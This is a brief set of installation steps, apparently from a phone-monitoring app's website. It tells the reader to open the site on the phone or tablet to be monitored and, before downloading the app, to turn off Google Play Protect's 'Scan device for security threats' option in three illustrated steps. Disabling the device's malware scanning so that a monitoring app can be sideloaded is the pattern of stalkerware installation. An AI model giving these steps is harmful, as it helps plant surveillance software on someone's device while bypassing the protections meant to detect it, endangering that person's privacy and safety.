Open this website from the phone or tablet you want to monitor and then Download and Install the application.
Disable Package Verifier (before downloading the app). See how below.
![](./img/disable_package_verifier_1_of_3.png)
Step 1: Open Play Store (Google Play).
![](./img/disable_package_verifier_2_of_3.png)
Step 2: Tap on Play Protect from the left menu.
![](./img/disable_package_verifier_3_of_3.png)
Step 3: Uncheck "Scan device for security threats".